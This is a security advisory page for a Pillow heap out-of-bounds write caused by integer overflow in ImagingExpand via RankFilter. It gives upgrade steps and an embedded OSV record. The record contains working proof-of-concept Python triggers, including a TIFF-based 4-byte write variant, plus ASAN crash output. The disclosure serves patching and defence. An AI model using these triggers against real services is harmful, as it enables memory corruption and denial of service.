CVE-2026-59197: Pillow Heap Out-of-bounds Write Vulnerability
HIGHCVE-2026-59197 is a HIGH (CVSS 8.2) heap out-of-bounds write vulnerability (CWE-190: Integer Overflow or Wraparound) affecting Pillow libraries in the PyPI ecosystem. The issue involves heap out-of-bounds write in `imagefilter.rankfilter` via integer overflow in `imagingexpand`. Remediation is available by upgrading affected packages to version 12.3.0.
CVE-2026-59197 at a Glance
Security Impact
CVSS: 8.2
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H).
How to Fix CVE-2026-59197
To remediate this vulnerability, upgrade all affected Pillow dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
pip install Pillow>=12.3.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
pip show Pillow
How to Check if You Are Affected
To determine whether your Python environment is affected by CVE-2026-59197, inspect your installed packages using pip:
pip show Pillow
Analyze the terminal output to locate any version of Pillow in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 12.3.0), your application is affected.
Note: The pip show Pillow command checks currently installed packages in your active Python environment.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-190: Integer Overflow or Wraparound, where the product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. this occurs when an integer value is incremented to a value that is too large to store in the associated representation. when this occurs, the value may become a very small or negative number. In Pillow, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-59197 Affected Pillow Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
Pillow
|
PyPI |
< 12.3.0
|
12.3.0
|
References
Frequently Asked Questions
What is CVE-2026-59197?
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What version fixes CVE-2026-59197?
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Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xj96-63gp-2gmr",
"modified" : "2026-07-20T23:08:58Z",
"published" : "2026-07-20T23:08:58Z",
"aliases" : [ "CVE-2026-59197" ],
"summary" : "Pillow: Heap out-of-bounds write in `ImageFilter.RankFilter` via integer overflow in `ImagingExpand`",
"details" : "### Summary\n\nPillow's public rank-filter API can trigger a native heap out-of-bounds write\nwhen given a very large odd filter size.\n\nMinimal public API trigger:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\n`ImageFilter.RankFilter.filter()` calls `image.expand(size // 2, size // 2)`\nbefore rank-filter size validation. With `size = 4294967295`, the\nexpansion margin is `2147483647` (`INT_MAX`). `ImagingExpand()` then computes\nthe output dimensions with unchecked signed `int` arithmetic. On tested builds,\nthis wraps to a tiny output image and the border-expansion loop writes past the\nallocation.\n\nThis is reachable through documented public classes (`RankFilter`,\n`MedianFilter`, `MinFilter`, and `MaxFilter`). No private API, ctypes, or custom\nPython object is needed.\n\n### Details\n\nCurrent `src/PIL/ImageFilter.py`:\n\n```python\nclass RankFilter(Filter):\n def filter(self, image):\n if image.mode == \"P\":\n msg = \"cannot filter palette images\"\n raise ValueError(msg)\n image = image.expand(self.size // 2, self.size // 2)\n return image.rankfilter(self.size, self.rank)\n```\n\nThe `expand()` call is made before `image.rankfilter(...)`.\n\nCurrent `src/libImaging/Filter.c:ImagingExpand()` does not check output-size\noverflow:\n\n```c\nif (xmargin < 0 && ymargin < 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n\nimOut = ImagingNewDirty(\n imIn->mode, imIn->xsize + 2 * xmargin, imIn->ysize + 2 * ymargin\n);\n```\n\nFor a `3x3` image and `xmargin = ymargin = INT_MAX`, the computed output size\nwraps to `1x1` on tested builds. The following loop still uses the huge margin:\n\n```c\nfor (x = 0; x < xmargin; x++) {\n imOut->image[yout][x] = imIn->image[yin][0];\n}\n```\n\n`src/libImaging/RankFilter.c` does contain checks that would reject this size:\n\n```c\nif (!(size & 1)) {\n return (Imaging)ImagingError_ValueError(\"bad filter size\");\n}\nif (size > INT_MAX / size || size > INT_MAX / (size * (int)sizeof(FLOAT32))) {\n return (Imaging)ImagingError_ValueError(\"filter size too large\");\n}\n```\n\nBut those checks are reached only after `RankFilter.filter()` has already\ncalled `image.expand(...)`.\n\nMode `\"L\"` produces 1-byte OOB stores. Modes `\"I\"` and `\"F\"` produce 4-byte OOB\nstores. The repeated value written OOB is copied from the source image border\npixel, so attacker-supplied image bytes can influence it. This is a sequential\noverwrite, not an arbitrary-address write.\n\n### PoC\n\nMinimal ASAN crash PoC:\n\n```python\nfrom PIL import Image, ImageFilter\n\nim = Image.new(\"L\", (3, 3), 128)\nim.filter(ImageFilter.MedianFilter(4294967295))\n```\n\nObserved on local Pillow `12.3.0.dev0` ASAN target:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 1\nImagingExpand /out/src/src/libImaging/Filter.c:99\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 1-byte allocation\n```\n\n4-byte write variant with source pixel loaded from normal image bytes:\n\n```python\nfrom io import BytesIO\nfrom PIL import Image, ImageFilter\n\nSIZE = 4294967295\nPIXEL = 0x41424344\n\nsrc = BytesIO()\nImage.new(\"I\", (3, 3), PIXEL).save(src, format=\"TIFF\")\n\nim = Image.open(BytesIO(src.getvalue()))\nim.load()\nassert im.mode == \"I\"\nassert im.getpixel((0, 0)) == PIXEL\n\nim.filter(ImageFilter.MedianFilter(SIZE))\n```\n\nObserved ASAN signature:\n\n```text\nERROR: AddressSanitizer: heap-buffer-overflow\nWRITE of size 4\nImagingExpand /out/src/src/libImaging/Filter.c:101\n_expand_image /out/src/src/_imaging.c:1100\n0 bytes after a 4-byte allocation\n```\n\nVersion checks:\n\n```text\nPillow 1.0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 12.3.0.dev0: ASAN heap-buffer-overflow WRITE confirmed at runtime\nPillow 1.0 through 12.2.0: source sweep confirmed the vulnerable public\n validation order and unchecked ImagingExpand arithmetic\nupstream/main at 9c1097c861420c77af53c7c9af2a1382e2bfaa8b: still affected\n```\n\n### Impact\n\nIt is a heap out-of-bounds write in Pillow's native C extension, reachable\nthrough public image-filter classes.\n\nApplications are impacted if an untrusted user can control the rank-filter\nsize/configuration passed to Pillow. If the image is also attacker-supplied, the\nsource pixel value written out of bounds can be attacker-influenced, including\n4-byte values for mode `\"I\"` images.\n\n\n## Possible fix\n\nValidate the rank-filter size before calling `image.expand(...)`, and harden\n`ImagingExpand()` against invalid margins and overflow:\n\n```c\nif (xmargin < 0 || ymargin < 0) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\nif (xmargin > (INT_MAX - imIn->xsize) / 2 ||\n ymargin > (INT_MAX - imIn->ysize) / 2) {\n return (Imaging)ImagingError_ValueError(\"bad kernel size\");\n}\n```",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "PyPI",
"name" : "Pillow"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "12.3.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/security/advisories/GHSA-xj96-63gp-2gmr"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-59197"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/pull/9695"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/commit/cce3bdb867c77a3420261ed1bfdb6b0787ec8fc1"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/python-pillow/Pillow"
}, {
"type" : "WEB",
"url" : "https://github.com/python-pillow/Pillow/releases/tag/12.3.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-190" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-07-20T23:08:58Z",
"nvd_published_at" : "2026-07-14T17:17:14Z"
}
}